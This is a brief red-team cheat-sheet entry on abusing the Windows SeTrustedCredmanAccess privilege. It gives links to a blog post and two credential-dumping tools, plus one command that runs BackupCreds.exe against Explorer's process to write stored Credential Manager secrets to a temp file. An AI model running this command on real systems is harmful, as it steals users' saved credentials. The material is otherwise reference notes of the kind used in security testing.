SeTrustedCredmanAccess

• https://www.tiraniddo.dev/2021/05/dumping-stored-credentials-with.html

Tools

• https://github.com/jsecu/CredManBOF

BackupCreds

• https://github.com/leftp/BackupCreds

Cmd > .\BackupCreds.exe <EXPLORER_PID> C:\Windows\Temp\creds.txt